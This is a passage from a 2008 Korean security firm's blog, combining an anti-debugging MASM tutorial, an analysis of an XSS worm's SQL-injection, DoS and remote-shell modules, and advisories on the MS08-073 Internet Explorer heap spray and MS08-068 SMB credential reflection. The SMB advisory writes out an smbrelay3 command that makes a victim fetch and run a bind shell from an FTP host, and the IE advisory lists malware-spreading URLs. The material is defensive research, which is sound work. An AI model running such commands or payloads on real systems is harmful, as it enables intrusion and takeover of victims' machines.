Anti-Reversing Code [2/4]

S/W 역공학 분석(Reversing) 2008. 12. 21. 21:24 Posted by TEAMCR@K
▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2008년 12월 19일
최종 수정일 : 2008년 12월 19일

Hong10님께서 작성하신 "Anti Reversing Code" 큰 주제를 바탕으로 4개로 나눠 작성하였습니다.



Anti-Reverse
개인적으로 많은 리버서들을 짜증나게 하는 것 이 이 안티리버싱 기법이라고 생각합니다. 언팩을 하든 프로그램을 분석하든 이 안티리버싱 코드가 있으면 어떻게든 리버서들을 방해하고 혼란을 가중 시키기 위하여 여러가지 방법을 동원하여 괴롭힙니다. 물론 방어자 입장에서는 자신의 코드가 쉽게 분석 당하지 않기 위하여 더없이 고마운 기법이긴 하지만 말입니다.

1.1 IsDebugerPresent()
대부분의 기초적인 디버거 탐지 기법에는 PEB의 BeingDebugged 값을 체크를 하는 기법을 가지고 있습니다. PEB(Process Environment Block)의 위치는 TEB(Thread Environment Block)에서 0x30 만큼 떨어진 곳에 존재 합니다.
IsDebugerPresent는 유저모드의 디버거가 프로세서를 디버깅하고 있는지 flag 값을 체크 하여 확인합니다. 여기서 간단히 PEB과 TEB에 대해서 알아 보겠습니다. PEB은 유저레벨 프로세서의 대한 추가적인 정보를 가지고 있는 구조체이고 TEB은 쓰레드에 대한 정보를 가지고 있다고 말할 수 있습니다

이 구조체를 어떻게 구동되며 핸들링 하는지는 애기가 길어 지므로 생략합니다. 여기서는 PEB의 구조체 값중 BeingDebugged값을 체크하여 디버깅 유무를 판별 한다고 생각 하시면 될꺼 같습니다. 그 외 에도 PEB 구조체 값을 이용하여 판별 할수 있습니다. 그건 추후에 나오는 기법에 대하여 언급 하겠습니다. 아래의 코드를 바탕으로 기본적이 MASM 문법과 IsDebugerPresent 의 기능을 살펴 보겠습니다.

IsDebugerPresent 소스를 EDIT-PLUS stx에 적용한 코드입니다.

 .386
.model flat, stdcall
option casemap :none   ; case sensitive

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
DbgNotFoundTitle db "Debugger status:",0h
DbgFoundTitle db "Debugger status:",0h
DbgNotFoundText db "Debugger not found!",0h
DbgFoundText db "Debugger found!",0h
.code
start:

CALL IsDebuggerPresent

CMP EAX,1
JE @DebuggerDetected

PUSH 40h
PUSH offset DbgNotFoundTitle
PUSH offset DbgNotFoundText
PUSH 0
CALL MessageBox

JMP @exit
@DebuggerDetected:

PUSH 30h
PUSH offset DbgFoundTitle
PUSH offset DbgFoundText
PUSH 0
CALL MessageBox

@exit:

PUSH 0
CALL ExitProcess

end start


.386 은 어떠한 인스트럭션 를 가질 것인까에 대한 정의 정도가 되겠습니다 위와 같이 .386이 되어 있다면 386의 인스트럭션을 가질 것이며 .486 .586 등이 존재 합니다 이와 같은 정의는 각각의 사양에 따른 아키텍쳐가 조금씩 차이가 나기 때문입니다.
(가령 386에서는 32비트 레지스터와 32비트 주소 버스 및 외부 데이터 버스의 특징을 가지고 있으며 펜티엄 계열 에서는 실행 속도를 향상시킨 새로운 마이크로 구조 설계를 기반 하는 차이 입니다 이에 대한 설명은 대부분의 어셈블리어 책에 초반부에 설명이 되어 있습니다)

다음은 .model 지시자은 메모리 모델에 해당하는 지시자 입니다. 윈도우는 항상 flat 모델을 쓰고 있으므로 flat이라 지정해주며 뒤에 stdll은 콜링컨베션중 스탠다드 콜에 해당하는 정의 입니다. Flat의 간단한 정의는 no segment, 32bit address,protected mode only 라고 정의 되어 있습니다. Option에 대해서는 잘 모르겠군요. 다음으로는 include입니다 이건 조금이라도 프로그래밍을 하신분들이 라면 아실꺼라 생각하고 생략합니다.
.data 지시자는 데이터 세그먼트를 지정하는 지시자 입니다. DB(Define Byte) 라고 해서 원바이트 형으로 데이터를 정의 하겠다는 뜻입니다. C에서는 char 형에 해당합니다. .code 지시자는 이제부터 코드 세그먼트를 지시하고 있다는 뜻입니다. 그뒤 start 는 일종의 코드 엔트리를 가리키는 레이블입니다.
코드 중에 @exit: 라고 정의 된 부분이 있고 그것을 호출하는 부분을 쉽게 정의 하기 위한 형태라고 생각 하시면 되겠습니다. 다른 부분은 일반적인 어셈 코드와 다를 바가 없습니다.

이제는 PEB 구조체와 TEB 구조체의 값을 간단히 살펴보겠습니다. 주로 windbg를 이용하여 확인 하지만 간단히 값을 확인 할때는 likekd를 이용하면 편합니다. Livekd는 다음 사이트에서 다운로드 받을수 있습니다.

http://www.sysinternals.com/utilities/livekd.html  이 툴의 동작  방식은 커널 메모리 덤프를 실시간으로 떠서 동작합니다. 단지 메모리 덤프를 통하여 커널을 분석할 때 유용한 툴입니다. 그전에 Debugging Tools for Widows가 먼저 설치 되어 있어야 합니다.참고로 dt명령어는 커널 구조체의 값을 확인할 때 쓰이는 명령어 입니다.

아래는 TEB 구조체 입니다.
 


 
아래는 PEB 구조체 입니다.

여기서는 0x030 오프셋 만큼의 위치에 PEB의 포인터가 하며 PEB의 0x002 오프셋 위치에 BeingDebugged 가 존재합니다. EDIT-PLUS 에서 설정한 컴파일 환경을 이용하여 위의 코드를 컴파일 하여 OLLY로 좀더 디테일 하게 알아 보겠습니다.
 
아래는 OLLY 로 열어본 IsDebugerPresent 입니다.



위의 코드에서 IsDebugerPresent()가 호출된뒤에 리턴값이 1이라면 디버거를 찾았다는 메시지를 띄워 준다는 걸 알 수 있습니다. 좀더 자세히 콜문의 어셈루틴을 알아 보겠습니다.
 
아래는 IsDebugerPresent call 세부 루틴 입니다.



위의 달랑 세줄에서 위에 설명한 것들에 대한 것을 실행합니다. 일반적으로 FS 세그먼트 영역은 데이터 세그먼트 일종이다. FS:[18]은 TEB의 위치를 가르키며 그 주소값을 EAX에 담고 Eax+0x30 은 PEB의 위치를 다시금 EAX 에 담고 다시 EAX+0X2 값 BeingDebugged 값을 담아서 리턴 하고 있다. Livekd를 이용하여 TEB의 주소와 올리에서 뿌려주는 주소값이 일치 함을 알수있다.


1.2 IsDebugerPresent 우회
이를 우회 하는 방법에는 여러 가지 방법이 존재합니다 우선 해당 플래그 값을 수정 하면 됩니다. 하지만 올리에서 해당 안티 디버깅 에 대한 플러그인 이 존재 합니다. 해당 플러그인은 다음 사이트에서 다운로드 받을수 있습니다.
http://www.openrce.org/downloads/details/111/IsDebuggerPresent
올리의 플러그인 폴더에 압축을 풀면 다음과 같은 플러그가 생기는 걸 확인 할 수 있습니다.



위 그림에서 Hide는 IsDebugPresent를 우회 한다는 말이고 Restore은 다시금 복원 한다는 의미 입니다. 각자 실행하여 정말로 돌아가는지 확인 해보시길 바랍니다.

[계속...]

참고사이트 및 문서
EDIT PLUS 를 이용한 MASM 환경 구축
http://mysilpir.net/entry/EditPlus-Assembly-%EC%84%A4%EC%A0%95-MASM
ANTI REVERSE
http://zesrever.xstone.org/
http://slaxcore.tistory.com
http://beist.org/research/public/artofunpacking/artofunpacking.pdf
http://openrce.org
정덕영님의 윈도우 구조와 원리
THX to zersrever,slaxcore,ashine,ap0x,정덕영FROM Hong10


Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

Anti-Reversing Code [1/4]

S/W 역공학 분석(Reversing) 2008. 12. 19. 13:20 Posted by TEAMCR@K

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2008년 12월 19일
최종 수정일 : 2008년 12월 19일

Hong10님께서 작성하신 "Anti Reversing Code" 큰 주제를 바탕으로 4개로 나눠 작성하였습니다.



1. EDIT PLUS 를 이용한 MASM32 컴파일 환경 구축
MASM32 어셈블러를 이용한 Anit-Reversing Code 구현에 앞서 간단히 MASM32 이란 무엇이며 어떻게 환경을 구축하여 테스트를 하는지 에 대한 설명을 할 것이다. MASM32이란 마이크로소프트사의 어셈블러 툴이다 그외 여러가지 어셈블러들이 존재하지만 일반적으로 API를 쓰기 위한 어셈블러로 MASM을 이용하게 된다.

MASM은 어디서 구할수 있으며 환경설정은 어떻게 할것인가? 다음 사이트에서 MASM을 구할수 있다.
http://www.masm32.com/masmdl.htm

현재 최신 버전은 9버전으로 파일명은 m32v9r.zip 으로 존재한다. 참고로 필자의 Visual Studio 의 버전은 6을 쓰며 또한 필요한 툴은 EDIT PLUS 가 있어야 한다 각자의 툴은 알아서 구하길 바란다. 먼저 MSAM을 설치해 본다.

 



간단히 Enter 키를 누름으로 써 설치를 할 수 있다.
다음은 EDIT-PLUS에서 설정이다. 도구->기본설정->사용자도구 에서 그룹 과 도구 항목을 설정 할 수 있다.
 



아래는 이와 같은 설정을 나열 해 보여주고 있다.

Edit-Plus Assembly 설정 (MASM32)

 

1. Assemble
명령 : C:\masm32\bin\ml.exe /c /coff /Zi,인수 : $(FileName),디렉토리 : $(FileDir),출력 내용 캡쳐 : 체크

2. Link (Console)
명령 : C:\masm32\bin\link.exe /SUBSYSTEM:CONSOLE /DEBUG,인수 : $(FileNameNoExt).obj,디렉토리 : $(FileDir)
출력 내용 캡쳐 : 체크

3. Link (Windows)
명령 : C:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS /DEBUG,인수 : $(FileNameNoExt).obj,디렉토리 :$(FileDir)
출력 내용 캡쳐 : 체크

4. Debug
명령: C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin\MSDEV.EXE,인수
: $(FileNameNoExt).exe
디렉토리
: $(FileDir)
5. Execute
명령 : $(FileNameNoExt).exe,디렉토리 : $(FileDir)


또한 EDIT-PLUS 에서는 MASM 문법에 대한 구문강조 파일이 존재한다. 해당 파일은 아래 사이트에서 받을수 있다.

http://www.editplus.com/dn.cgi?asm2.rar 여기서 다운 받은뒤 EDIT-PLUS 가 설치된 폴더에 복사 하면 된다 다음은 해당 구문강조에 대한 설정을 하는 장면이다.



해당 설정을 끝 마쳤다면 이제 실질적인 ASM 코드를 작성 하는 시간이다. 처음에는 간단한 문법 설명을 위하여 IsDebuggerPresent 라는 안티 디버깅 코드를 대상 으로 설명 하고 그외 안티 코드들을 설명할 때 덧붙이는 형식으로 진행한다. 이제 아래 그림처럼 새 파일을 하나 생성 하여 본다.

[계속...]


참고사이트 및 문서
EDIT PLUS 를 이용한 MASM 환경 구축
http://mysilpir.net/entry/EditPlus-Assembly-%EC%84%A4%EC%A0%95-MASM
ANTI REVERSE
http://zesrever.xstone.org/
http://slaxcore.tistory.com
http://beist.org/research/public/artofunpacking/artofunpacking.pdf
http://openrce.org
정덕영님의 윈도우 구조와 원리
THX to zersrever,slaxcore,ashine,ap0x,정덕영FROM Hong10


Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

Modular Universal XSS Worm

웹 어플리케이션 2008. 12. 19. 11:31 Posted by TEAMCR@K
▷ 작성자 : 니키 (ngnicky@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


문서 작성일 : 2008년 1월 10일
최종 수정일 : 2008년 12월 19일


Modular Universal XSS Worm


1. 개 요
Modular Universal XSS Worm이란 어떤 환경이나 장소에서든 사용할 수 있게 AJAX 기반으로 하나의 패키지(모듈)형식으로 해놓은 Worm 샘플 코드이다. XSS(Cross Site Scripting) 취약점이 존재하는 어떤 곳에서든 사용할 수 있으며, SQL Injection, DOM Session, Remote Shells, DoS(Denial of Service) 등의 공격 코드들이 포함되어 있다.
이 샘플들을 참고하여 실무에서 사용할 수 있는 공격코드를 생성하고, 연구를 통해서 영향도를 점검해 보았다.


2. 공격 시나리오
[SQL Injection Worm]
DBMS 관리자 권한으로 설정된 웹 서비스에서 XP_CmdShell을 사용하여 웹 서버에 아이디 및 패스워드(Random값)를 생성하는 스크립트를 만들었고, XSS(Cross Site Scripting) 취약점이 존재하는 게시판에 악성서버로 유도하는 스크립트를 작성하였다.

타 사용자들이 작성된 글을 확인할 경우, 자신도 모르게 웹 서비스에 악성 아이디와 패스워드를 생성하는 공격을 가하게 된다.
 

① 공격자는 사용자들이 많이 이용하는 게시판에 악성 스크립트를 작성한다.
② 관리자 및 사용자가 게시된 글을 읽는다.
③ 관리자 및 사용자는 악성 스크립트를 실행하여 웹 서비스에 SQL Injection공격을 가하게 된다.
④ 웹 서비스에는 수많은 아이디와 패스워드가 생성된다.(이를 악용하여 2차 공격 가능)


[DoS Worm 공격 시나리오]
특정 게시판 서비스에 공격자는 악성서버로 유도하는 스크립트를 작성하고, 타 사용자들이 작성된 글을 확인할 경우, 임의의 값만큼 웹 서비스를 Refresh (Denial of Service) 하게 된다. 사용자의 프로세스 부하 뿐만 아니라 웹 서비스의 네트워크 부하까지 영향을 미칠 수 있다.
 

⑤ 공격자는 사용자들이 많이 이용하는 게시판에 악성 스크립트를 작성한다.
⑥ 관리자 및 사용자가 게시된 글을 읽는다.
⑦ 관리자 및 사용자는 특정 웹 서비스를 임의의 값만큼 Refresh 하게 된다.
⑧ 웹 서비스 네트워크 부하가 발생하여 서비스가 중지될 가능성이 존재한다.


3. 세부 분석
universal xss worm 의 모듈로 사용되고 있는 p0ng.js 스크립트 파일의 주요 함수에 대해서 분석을 하였다.
모든 함수형식이 Prototype 형식으로 되어 있어서 리턴값의 형식이 모두 일치해야 사용이 가능하며, 모든 환경에서 가능하도록 구성되어 있다.

다음 그림은 toHex 함수로써, 모든 String 코드값을 ‘\\x’ 값을 앞에 추가하고, 16진수 형식으로 바꿈으로써 HEX 값 형태로 변환하여 반환해준다. Unicode, 8진수기법 등도 모듈에 포함되어 있다.
 


다음 그림은 POST 방식과, GET방식의 함수이다. POST형식에서는 Header값을 포함하여 특정 메시지를 전달하고, GET방식에서는 특정 URI값을 얻어와서 결과값을 반환시켜 준다.
 

다음 그림은 각 HTML 속성 함수들을 추가하는 부분이다. 데이터 및 특정 배열문자등을 받아 자동적으로 element, links, hidden filed 등의 속성을 추가하는 부분이다.
이 외에도 form, URL Query, event, cookie 관련 속성 추가 함수들이 모듈에 포함되어 있다.
 

다음 그림은 DoS(Denial of Service)의 공격 함수 부분이다. 함수를 호출하였을 경우 페이지를 800 (임의의 값)Refresh 시킴으로써, 수많은 사용자의 프로세스를 멈추게 할 수 있고, 또한 특정 웹 서비스를 중단시킬 수 있다.
 

다음 그림은 Remote Shell 공격과 관련된 변수 및 명령어들을 이용한 공격 함수이다. 배열에 있는 모든 문자들이 순차적으로 대입되면서 위에 언급한 gueryparts (URL 주소 구분 함수)을 이용하여 정형화 된 공격 함수이다.
 

다음 그림은 SQL Injection 취약점을 이용하여, XP_CmdShell 프로시저를 이용한 공격 함수이다. ftp 서비스를 이용하여 js파일에 특정 명령어 삽입후 ftp 를 접속하여 자동적으로 실행되도록 한다.



4. 대응 방안
XSS(Cross Site Scripting) 취약점과 동일한 대응방안이며, 아래와 같습니다.

XSS는 외부의 공격자가 정상적인 웹사이트를 악용하여 정상적인 웹사이트에 접속하려는 사용자로 하여금 공격자가 의도한 명령이나 작업을 수행하도록 하는 공격입니다. XSS를 이용한 공격 유형에는 사용자 쿠키 정보 추출을 통한 세션 가로채기 공격 등이 있습니다.
XSS 대응 방안은 사용자가 게시물을 업로드 할 수 있는 게시판의 경우와 사용자로부터 값을 입력 받는 경우로 나눌 수 있습니다.

● 사용자 게시판
운영상 필요한 경우 이외에는 사용자가 HTML을 사용하지 못하도록 하여야 합니다. 운영상 필요하여 HTML을 허용하여야 할 경우에는 스크립트 태그를 사용하지 못하도록 하여야 합니다. 사용자 태그뿐 아니라 본문에 “cookie” 나 “object”나 “document”와 특수한 문자열에 대한 체크를 하여 입력을 받지 못하도록 합니다.

● 파일의 argument로 값을 입력
HTML 태그가 입력되지 못하도록 하여야 합니다. 필터링 하여야 할 문자로는 <, >, & 등이 있고, 사용자 입력으로 원하는 값이 아닌 다른 모든 문자들을 필터링 하여야 합니다. 파일의 입력으로 받는 문자열일 경우에는 입력을 허용할 문자만을 선택하고 나머지는 필터링을 하거나 에러페이지로 이동하도록 합니다. 입력 값으로 <form>문을 작성할 때 다른 파일의 입력 값이 될 때와 같이 파일에 포함되어야만 할 때에는 입력 받은 문자는 URL Encoding을 하여 화면에 표시하도록 합니다.

● 입력 값 변환
<, >와 같은 문자들을 HTML에 표시하는 &lt; 와 &gt; 로 변환을 하여 저장을 하고 보여주는 방법이 존재합니다. 이 문자들이 HTML에서 <, >로 표시되기 때문에 화면에 나타날 때는 문제가 없습니다.

5. 참고 사이트
http://groups.google.com/group/ph4nt0m/msg/d75435c75fc6b81b

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


[A3AID08-04]
MS Internet Explorer XML Parsing Remote Buffer Overflow(MS08-073) 공격 보안 권고안

 


최초 발표일 : 2008.12.10

문서 작성일 : 2008.12.11

위험등급:
긴급

현재 상태(패치 여부) : 미패치

벤더: Microsoft Windows


대상 시스템 :

- Windows XP 서비스 팩 2 및 Windows XP 서비스 팩 3
- Windows XP Professional x64 Edition 및 Windows XP Professional x64 Edition 서비스 팩 2
- Windows Server 2003 서비스 팩 1 및 Windows Server 2003 서비스 팩 2
- Windows Server 2003 x64 Edition 및 Windows Server 2003 x64 Edition 서비스 팩 2
- Windows Server 2003 SP1(Itanium 기반 시스템용) 및 Windows Server 2003 SP2(Itanium 기반 시스템용)
- Windows Vista 및 Windows Vista 서비스 팩 1
- Windows Vista x64 Edition 및 Windows Vista x64 Edition 서비스 팩 1
- Windows Server 2008(32비트 시스템용)*
- Windows Server 2008(x64 기반 시스템용)*
- Windows Server 2008(Itanium 기반 시스템용)


 

-
취약점 개요:
조작된 HTML 문서는 XML Parsing 구간의 취약점을 이용하여 임의의 코드를 실행 합니다. 조작 된 HTML 은 HeapSpray 역할로써 사용되며 취약한 XML Parsing 이 실행 될 때 메모리상에 뿌려진 코드에 접근하여 실행하게 됩니다. 해당 취약점에 대한 패치는 아직 이루어 지지 않은 상태입니다. IE 6 버전에서는 공격 코드가 실행 되지 않으며 IE 7에서 공격코드가 실행 됨을 확인 할 수 있었습니다. 현재 이 취약점을 사용하는 악성코드들이 전파 되고 있는 상황입니다.

 
- 심각도 및 취약점 확인

취약점 영향

MS Server Service Code Execution

비정상 실행 및 원격 코드 실행

긴급





취약점 세부 분석 :

 1. 취약점 내용
상기 취약점의 공개 공격 코드는 2개의 파일로 이루어 져 있습니다. 하나는 heap spray 역할을 하는 코드로써 메모리 상에 “0x0a0a0a”,”0x90”,”쉘 코드” 을 뿌리는 역할을 하며 나머지 한 파일을 xml parsing 할 때 overflow을 발생하는 exploit 코드입니다.
Exploit 공격 코드를 보면 image 태그 값에 “&#2570” 값이 할 당 되어 있으며 이것을 16진수로 표현하면 “0x0a0a” 값이 됩니다. Heap spray 에 의해 메모리 상에 “0x0a” 값들이 채워 져있으며 Exploit 코드에 의하여 다음과 같이 mshtml.dll 모듈에서 call 루틴의 포인터 값으로 0x0a0a 값으로 할당되어 0x0a0a0a0a 주소로 실행이 됩니다. 다음은 milw0rm 에 포스팅 된 공격 툴 주소입니다.

URL) http://www.milw0rm.com/exploits/7403

 2. 공격 분석
다음 루틴은 mshtml.dll에 존재하는 루틴인데 여기서 명령어 실행 주소가 공격자가 원하는 쉘 코드 주소 공간으로 변조됩니다.
mov     ecx,dword ptr [eax]
push     edi
push     eax
call      dword ptr [ecx+84h]


위의 루틴에서 eax 포인터 값에는 “&#2570” 값을 포함 하고 있으며 그 값을 ecx 에 담습니다. 마지막에 call을 할 때 ecx 의 값의 0x84 offset의 값으로 콜 하기 때문에 결국 ecx에 저장되는 값을 변조 하여 0x0a0a0a0a 값을 담게 끔 하여 임의의 코드를 실행 하게 할 수 있습니다. 앞서 heap spray 코드가 “0x0a0a0a0a” 메모리 주변에 “0x0a”를 뿌려 놨기 때문에 결국 포인터 값들은 무수히 많은 “0x0a” 값을 가리키게 됩니다. 그래서 ecx+84h 가 콜 되는 주소는 0x0a0a0a0a 으로 설정이 됩니다. 다음은 heap spray 가 이루어 질 때 메모리 값입니다.
 




다음은 위 heap spray 코드들이 실행 되는 화면 입니다. 



다음 그림은 위에서 설명한 mshtml.dll 의 취약점 구간에서 eax 포인터 값이 0x0a0a0a0a를 가리키는 장면입니다.
 




실제로 위의 루틴 공간에 break point 를 잡기 위해서는 공격코드를 실행 한 상태에서 attach 하여 잡아야 합니다. 왜냐면 해당 루틴이 실행 될 때 많은 thread 들이 생성 되며 파일을 오픈 하여 실행 했을 때는 해당 thread 부분이 잡히지 않고 종료 되기 때문입니다. 다음은 공격코드가 정상적으로 실행 되어 계산기를 띄우는 화면입니다.
 




3. 위험 분석
상기 취약점을 이용하면 공격자는 조작된 HTML 파일을 희생자로 하여금 접근하게 유도 한 다음 임의 명령어를 실행하여 시스템 장악이 가능하게 됩니다. 또한 현재 MS 측에서 해당 패치를 내놓지 못한 상황 입니다. 또한 현재 이 취약점을 이용한 악성 코드들이 국내 몇 사이트에 감염이 되어 있음을 확인이 되었습니다. 다음은 악성코드 전파 사례입니다.

baidu.bbtu01. cn/c0x.htm
baidu.bbtu01. cn/ie07.htm
baidu.bbtu01. cn/104.htm
baidu.bbtu01. cn/a0s.htm
baidu.bbtu01. cn/c0e.htm

대응 방안:

1. 보안 대책

현재 패치가 없으므로 사용자는 수동으로 패치를 실행 하여야 합니다. 패치 방법은 IE 7의 데이터 실행 방지(DEP) 을 활성화 하는 방법입니다. IE 7에는 디폴트로 이 옵션이 비활성화 되어 있습니다. 다음은 IE 7 에서의 위치입니다.




2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

http://www.microsoft.com/korea/technet/security/bulletin/ms08-073.mspx
http://www.breakingpointsystems.com/community/blog/patch-tuesdays-and-drive-by-sundays
http://www.milw0rm.com/exploits/7403

Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


[A3AID08-03]
MS SMB Credential Reflection Vulnerability(MS08-068) 공격 보안 권고안

 


최초 발표일 : 2008. 11. 12

문서 작성일 : 2008.12.8

위험등급:

현재 상태(패치 여부) : 긴급

벤더: Microsoft Windows


대상 시스템 :

- Microsoft Windows 2000 SP4
- Microsoft Windows XP SP2, SP3
- Microsoft Windows XP Professional x64 Edition, SP2
- Microsoft Windows Server 2003 SP1, SP2
- Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
- Microsoft Windows Server 2003 x64 Edition, SP2


 

-
취약점 개요:
이 취약점은 사용자 시스템에서 공격자가 꾸며놓은 임의의 SMB 서버로 접속할 때 SMB의 NTLM 인증처리 과정에서 사용자의 인증을 이용하여 원격 코드실행 취약점이 존재합니다. SMB는 타 시스템의 파일이나 디렉토리 및 주변장치들을 공유하는데 사용되는 메시지 형식이며 NTLM은 SMB 프로토콜과 연동하여 사용되는 MS의 인증 관련 프로토콜 입니다. 현재 공격코드는 공개된 상황이며 해당 취약점을 이용하여 피해자의 시스템을 장악할 수 있었습니다. 단 테스트 결과 MS 가 내놓은 패치는 SMB-SMB 구간만 적용될 뿐 테스트한 HTTP-SMB 구간에 대한 패치는 이루어 지지 않았습니다.

 
- 심각도 및 취약점 확인

취약점 영향

MS Server Service Code Execution

비정상 실행 및 원격 코드 실행

중요





취약점 세부 분석 :

 1. 취약점 내용
해당 취약점은 공격자의 컴퓨터로 들어오는 SMB 연결을 피해자의 자격증명과 함께 원격 실행 코드와 함께 돌려 보내는 것을 허용합니다. 그래서 “자격 증명 리플렉션” 이라고 불립니다. 해당 공격 코드는 공개된 상황이며 다음과 같은 사이트에서 제공을 합니다.

URL) http://www.milw0rm.com/exploits/7125

이 공격코드는 HTTP,POP3,SMTP,IMAP 프로토콜로 사용자에게 요청을 받을 수 있도록 짜여져 있습니다. 공격자는 4가지 형태의 프로토콜 중 피해자가 접속할만한 프로토콜로 접속요청이 오기를 기다립니다. 일반적으로 공격자는 HTTP 프로토콜로 Listening 하여 사용자에게 html 형식의 문서를 전송하여 사용자의 접속을 유도합니다.
피해자는 해당 html 문서를 열어보는 순간 자격 증명을 요구하는 대화상자를 띄우게 되고, 이렇게 받은 자격 증명을 공격자 서버에서는 그대로 피해자에게 원격 실행 코드와 함께 재전송하여 피해자의 시스템 권한을 획득 할 수 있게 됩니다.

 2. 공격 분석
해당 공격 도구를 이용하여 테스트 환경인(vmware xppro_sp2)에서 공격을 시도하였습니다. 일반적인 공격 방법으로 공격자 쪽에서는 SMB 요청을 HTTP 프로토콜 형식으로 listening 하며 임의 포트를 부여합니다. 그리고 희생자 쪽의 SMB 요청을 리플렉션 이 되게끔 설정을 해주며 임의의 원격 실행은 공격자 측의 Bind Shell 프로그램을 다운 & 실행을 하게끔 ftp 서버를 설정합니다. 다음은 해당 공격코드를 실행하는 과정입니다.

Ex)smbrelay3.exe --ListForHTTPRequests—AlternativeSrcPort9898--SMBDestinationHost 192.168.150.128 --v --ftp 211.xxx.xxx.xxx 21 a3sc <password>

이렇게 공격자 측에서는 희생자가 SMB 메시지를 HTTP 형식으로 보내오길 기다립니다. 공격자는 사용자 접속을 유도하기 위하여 공격자 서버로 접속하는 a3sc.html 파일을 작성하여 희생자에게 전송을 합니다. 다음은 희생자
해당 파일을 읽어 드렸을 때의 상황입니다.


위 화면에서 희생자는 자신의 자격증명 을 위해 다이얼로그 창에 접속증명을 하는 순간 공격자 ftp 서버에서 smrs.exe 파일(Bind Shell)을 다운로드 및 실행 하게 됩니다. 다음은 희생자 측에서 8080 포트로 bind shell listening 된 화면입니다.



다음은 telent 이용하여 희생자 컴퓨터에 접속한 모습입니다.




3. 위험 분석
상기 취약점을 이용하면 필시 피해자 컴퓨터 시스템을 장악 할 수는 있으나 공격과정에 있어서 자동화 되어 있지 않으며 사용자 개입이 있을 때 이루어 집니다. 이것은 MS 에서 보안등급을 임의의 코드가 실행이 됨에도 불구하고 “중요” 등급으로 분류 한 것으로 판단이 됩니다.
또한 vista 나 윈도우 2008 서버에서는 해당취약점이 성공하기 위한 조건들이 보안정책에 의하여 막혀 있었습니다. 하지만 분명한 것은 취약점을 이용하여 시스템을 장악 할 수 있으므로 해당 패치를 실시 해야 하며 가급적 SMB 공유 설정을 금지 해야 합니다.



대응 방안:

1. 보안 대책
SMB Credential Reflection Vulenerability를 방지 하기 위해 다음 사이트에 방문하여 패치를 실시 하여야 한다. 다음은 XP_SP2 기준의 사이트이다.
http://www.microsoft.com/downloads/details.aspx?familyid=6f8ae0aa-fd68-4156-9016-bba00149793c&displaylang=ko

하지만 상기 패치는 윈도우 공유 자원 프로토콜에 대한 패치 일뿐 위에서 사용된 공격 코드에서 HTTP 프로토콜로 공격 하는 방식은 아직 패치가 되지 않았다. 즉 이번 MS 패치는 SMB 에 대한 reflection 패치 일뿐 다른 프로토콜에 대한 패치가 이루어 지지 않았다.
그래서 사용자는 우선 SMB 메시지 요청에 대한 방화벽 설정 뿐만 아니라 파일/프린터 공유 및 공유 폴더에 대한 네트워크 access에 각별히 신경을 써야 된다. 또한 원격사용자에 대한 특별한 권한이 필요 없을 경우 guest 인증 방식을 바꾸길 권고한다.
그렇게 되면 희생자 측 컴퓨터에서는 존재하는 로컬 계정을 입력이 불가할 뿐더러 guest 계정 권한으로 admin$,c$ 등과 같은 기본파일공유 자원에 접근이 제한이 된다. 물론 guest 계정은 기본적으로 비활성화가 되어 있기 때문에 guest 계정을 원천적으로 이용할 순 없다. 다음은 인증방식을 바꾸는 방법에 대한 설명이다.

다음과 같이 네트워크 인증을 할 때 기본적으로 guest 권한을 주는 방식도 있다. 제어판->관리도구->로컬보안설정->로컬정책->보안옵션->네트워크 액서스:로컬계정에 대한 공유 및 보안->일반-로컬 사용
 



 


또한 기본공유 자원에 대한 설정이 필요 없을 경우 커맨드 창 명령으로 net share 을 이용하여 해당 설정 값을 제거 하여 준다. 네트워크 접근을 할 때 default 로 제공되는 기본공유 파일이다. 이것을 제거 하여 주면 공격코드는 기본 공유 파일에다 악성 파일을 다운 & 실행이 되므로 공격은 무효화가 되 버린다.
다음과 같이 net share 중 ipc$ 를 삭제 하여 준다. 삭제 할 때 RPC 관련 서비스가 켜져 있으면 오류를 일으키므로 RPC 서비스를 중지한 다음 삭제 하여 준다.

마지막으로 SMB Singing 설정을 하여 준다. SMB은 윈도우에서 파일 엑세스 및 서버 접근시 사용되는 프로토콜로써 보안 인증을 다음 값을 통해 켜거나 끌수 있다..

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters

아래 키를 REG_DWORD 타입으로 추가/수정 한다.
